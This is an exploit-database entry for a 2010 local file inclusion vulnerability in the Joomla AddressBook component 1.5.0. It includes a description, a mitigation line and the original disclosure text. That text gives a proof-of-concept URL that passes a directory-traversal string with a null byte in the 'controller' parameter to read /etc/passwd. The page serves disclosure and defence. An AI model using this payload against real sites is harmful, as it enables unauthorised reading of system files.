Joomla Component AddressBook Local File Inclusion Vulnerability

vendor:

AddressBook

by:

AntiSecurity

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: AddressBook

Affected Version From: 1.5.0

Affected Version To: 1.5.0

Patch Exists: NO

Related CWE: N/A

CPE: a:joomla:addressbook:1.5.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla Component AddressBook Local File Inclusion Vulnerability

A local file inclusion vulnerability exists in com_addressbook version 1.5.0, which allows an attacker to include a file from the local system. This can be exploited to disclose sensitive information by including files from the local system, such as the /etc/passwd file. The vulnerability is due to insufficient sanitization of user-supplied input to the 'controller' parameter in the 'index.php' script.

Mitigation:

Input validation should be used to prevent local file inclusion attacks. All user-supplied input should be validated and filtered for malicious characters.

Source

Exploit-DB raw data:

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  [o] Joomla Component AddressBook Local File Inclusion Vulnerability
 
       Software : com_addressbook version 1.5.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


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  [o] Exploit

       http://localhost/[path]/index.php?option=com_addressbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00


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  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia